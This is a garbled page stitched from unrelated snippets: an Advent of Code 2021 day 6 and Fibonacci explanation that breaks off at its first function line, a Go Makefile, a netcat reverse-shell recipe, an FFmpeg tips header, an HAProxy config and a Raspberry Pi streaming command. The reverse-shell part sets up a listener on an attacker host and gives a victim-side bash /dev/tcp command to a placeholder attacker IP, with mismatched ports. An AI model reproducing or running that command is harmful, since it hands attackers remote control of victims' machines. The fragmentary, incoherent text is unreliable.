This is explaining stuff relevant to AOC 2021 day 6
First lets do fibonacci numbers because it's smaller (2x2 matrix instead of 9x9) and it's familiar ground.
So you can implement fibs like this:
def fib(n):
GOCMD=go | |
GOTEST=$(GOCMD) test | |
GOVET=$(GOCMD) vet | |
BINARY_NAME=example | |
VERSION?=0.0.0 | |
SERVICE_PORT?=3000 | |
DOCKER_REGISTRY?= #if set it should finished by / | |
EXPORT_RESULT?=false # for CI please set EXPORT_RESULT to true | |
GREEN := $(shell tput -Txterm setaf 2) |
On attack host in "local" active terminal using port 10000 for example: | |
nc -l -t -v 8080 | |
i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080 | |
Then On "remote" victim computer - run this command | |
Get this to execute on the victim host ( assuming victim does not have netcat ) | |
bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1 | |
for example: |
A list of useful commands for the FFmpeg command line tool.
Download FFmpeg: https://www.ffmpeg.org/download.html
Full documentation: https://www.ffmpeg.org/ffmpeg.html
#--------------------------------------------------------------------- | |
# Global settings | |
#--------------------------------------------------------------------- | |
global | |
daemon | |
chroot /var/lib/haproxy | |
pidfile /var/run/haproxy.pid | |
maxconn 2048 | |
user haproxy | |
group haproxy |
raspivid -o - -t 0 -vf -hf -fps 30 -b 6000000 | ffmpeg -re -ar 44100 -ac 2 -acodec pcm_s16le -f s16le -ac 2 -i /dev/zero -f h264 -i - -vcodec copy -acodec aac -ab 128k -g 50 -strict experimental -f flv rtmp://a.rtmp.youtube.com/live2/<SESSION>
you can tweak -b
and -fps
to your liking. the settings above work well for 1080p. by not specifying width or height we get the full 1920x1080 resolution from the raspi camera
$ ffmpeg -i input.mp4 -vcodec h264 -acodec mp2 output.mp4 |